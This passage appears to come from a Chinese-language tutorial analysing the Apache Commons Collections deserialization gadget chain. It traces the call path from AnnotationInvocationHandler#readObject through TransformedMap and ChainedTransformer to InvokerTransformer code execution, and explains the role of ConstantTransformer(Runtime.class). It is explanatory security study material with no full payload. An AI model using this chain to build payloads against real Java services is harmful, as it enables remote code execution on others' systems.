5.2 不同Transformer对象调用不同transformer()方法
其中Transformer类型的对象都可以调用transformer()方法,只是不同的Transformer对象调用不同的transformer()方法。
因为都重写了对应的transformer()方法。
ChainedTransformer对象调用transformer()方法,用来遍历链中的元素,并调用每个元素的transformer()方法,并将前面一个元素的返回结果当做后面一个元素.transformer()方法的参数。
ConstantTransformer对象调用transformer()方法,返回一个固定值,该值为其构造方法传入,在此链中为Runtime.class
InvokerTransformer对象调用transformer()方法,用来执行任意方法
5.3 恶意代码触发的方法调用链
sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.ConstantTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
!!代码执行!!
// 返回
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
5.4 为什么new ConstantTransformer(Runtime.class)的transformer可以解决了 runtime对象无法传入的问题
这里其实是因为runtime对象是ChainedTransformer链执行transform()方法时,创建出来的,不需要我们手动创建传入。
这里其实是另一个问题,即:下述代码中memberValue.setValue()
按流程来说,应该传入runtime对象才对,为什么这里不需要了,使用AnnotationTypeMismatchExceptionProxy
对象也行??
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
首先明确以下,memberValue.setValue()中传入的值不出意外的话会传递到最终的transform()
方法。
而在这里,不管memberValue.setValue()
中不管传入什么,后面代码都会执行到ChainedTransformer
链,而ChainedTransformer
链中存在一个ConstantTransformer
类型的Transformer
对象,它可以接受任意的object,但是都会返回固定值(这里就是Runtime.class),给到了后面的transform()
方法当做参数,相当于截断了AnnotationTypeMismatchExceptionProxy
对象传递到最终的transform()
方法。
即上述方法调用链中:
AnnotationInvocationHandler#readObject
...memberValue.setValue() // 参数:AnnotationTypeMismatchExceptionProxy
AbstractInputCheckedMapDecorator.MapEntry#setValue // 参数 Annota...Proxy
TransformedMap#checkSetValue // 参数 Annota...Proxy
ChainedTransformer#transform // 参数 Annota...Proxy
ConstantTransformer#transform // 参数 Annota...Proxy
InvokerTransformer#transform // 参数 Runtime.class 这里发生了变化
InvokerTransformer#transform
InvokerTransformer#transform
!!代码执行!!
ConstantTransformer YYDS!!
6 参考链接
JAVA反序列化—CC链的前世今生 - FreeBuf网络安全行业门户
https://blog.csdn.net/weixin_49047967/article/details/134763883